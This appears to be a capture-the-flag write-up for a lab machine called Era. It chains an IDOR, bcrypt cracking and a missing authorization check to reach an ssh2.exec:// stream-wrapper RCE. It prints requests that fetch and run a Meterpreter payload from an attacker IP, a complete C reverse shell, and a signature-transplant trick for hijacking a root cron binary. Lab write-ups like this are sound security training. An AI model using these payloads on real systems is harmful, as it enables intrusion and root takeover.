Syk0

Era


Era

Overview

Era is a custom PHP file-sharing application with multiple chained vulnerabilities: an IDOR on a download endpoint leaks application source code and a SQLite database, bcrypt passwords crack to give FTP and app access, a missing CSRF/authorization check on a security questions endpoint allows admin login, and an SSH2 stream wrapper in the download route enables SSRF-to-RCE. Privilege escalation abuses write access to a signed binary executed by root's cron job - the signing signature is copied from the original binary to make the replacement accepted.


Recon

Nmap

sudo nmap -sC -sV -vv -oA tcp 10.129.34.131 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.34.131

FTP (21) and HTTP (80) are open. HTTP responds as era.htb - add to /etc/hosts.

Subdomain Fuzzing

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H "Host: FUZZ.era.htb" -u http://era.htb -ic -fl 8

Discovers file.era.htb - a file sharing application.

User Enumeration Form

http://file.era.htb/security_login.php has a form that allows username enumeration:

PHP File Discovery

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
  -u http://file.era.htb/FUZZ -ic -e .php -fl 234

register.php is found - create a test account to access the application.


Foothold

IDOR on Download Endpoint

After registering and uploading multiple files, the application generates a ZIP file when selecting multiple files. The ZIP filename contains the user ID, leaking internal IDs:

The download endpoint (download.php?id=X) is vulnerable to IDOR - it does not verify ownership of the file. Fuzz IDs 1–2000 to find files belonging to other users:

ffuf -w <(seq 1 2000) -u http://file.era.htb/download.php?id=FUZZ \
  -b "PHPSESSID=3fn4jh1hipmb2gurvog7gpfhcr" -fl 267

Two valid files are found:

  1. Application source code ZIP
  2. A file containing a private SSH key and username [email protected]

SQLite Database - Hash Cracking

The source code ZIP contains filesdb.sqlite:

Extract bcrypt hashes and crack with hashcat (mode 3200):

hashcat -a 0 -m 3200 hash /mnt/hgfs/I/data/rockyou.txt

Cracked credentials:

$2y$10$S9EOSDqF1RzNUvyVj7OtJ...:america  → eric:america
$2b$12$HkRKUdjjOdf2WuTXovkHIO...:mustang → yuri:mustang

FTP Access as Yuri

Test passwords against FTP:

ftp era.htb
# yuri:mustang → works

Files accessible via FTP but nothing immediately useful.

Missing Authorization - Security Questions Endpoint

Review the PHP source code. The update security questions endpoint has no validation of the current user - it allows setting security questions/answers for any account by ID:

Exploit this to set known security question answers for the admin account, then log in as admin.

Admin File Viewing - SSH2 Stream Wrapper RCE

Code review reveals admins can view (not just download) files. The download.php?show=true parameter passes the file through PHP's readfile() function, and the format parameter specifies the stream wrapper to use:

The ssh2.exec:// wrapper executes a command over SSH and returns the output. Using known credentials for a local user (eric:america), we execute arbitrary commands via the web server:

Test callback:

GET /download.php?id=9007&show=true&format=ssh2.exec://eric:america@localhost:22/bash%20-c%20"curl%2010.10.15.235"

Full Meterpreter execution:

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=tun0 lport=8443 -f elf -o e

Set up the handler and trigger:

GET /download.php?id=9007&show=true&format=ssh2.exec://eric:america@localhost:22/bash%20-c%20"curl%20http://10.10.15.235/e%20-o%20/tmp/e;chmod%20777%20/tmp/e;/tmp/e%26"

Shell landed as eric. User flag accessible. Switch to yuri with su yuri using password mustang.


Privilege Escalation

Cronjob - Signed Binary Abuse

Transfer and run pspy64 to watch for cronjob activity:

Root executes /opt/AV/periodic-checks/monitor on a schedule. The devs group (which our user belongs to) has read/write access to this directory - we can overwrite the binary.

However, the binary is ELF-signed - the AV check verifies the .text_sig section before executing. Simply replacing the binary with a Meterpreter fails.

Signing Bypass via objcopy

The signing verification only checks the signature section, not the actual binary content. We can:

  1. Extract the signature from the original binary
  2. Inject it into our malicious binary

Compile a simple C reverse shell:

#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int main(void){
    int port = 8443;
    struct sockaddr_in revsockaddr;
    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.15.235");
    connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}
gcc she.c --output she

Extract the signature section from the original binary and inject it into our shell:

objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig=text_sig_section.bin she

Copy the signed shell over the monitor binary and start a netcat listener. The next cron execution fires our callback as root.


Attack Chain Summary

PhaseTechniqueResult
Reconffuf subdomain + PHP discoveryfile.era.htb, register.php
IDORDownload endpoint ID brute-forceSource code + SQLite DB
Credential accessbcrypt hash crackingeric:america, yuri:mustang
Auth bypassMissing authorization on security questionsAdmin login
RCESSH2 stream wrapper in download.phpShell as eric/www-data
PrivescCronjob binary + signature transplantRoot shell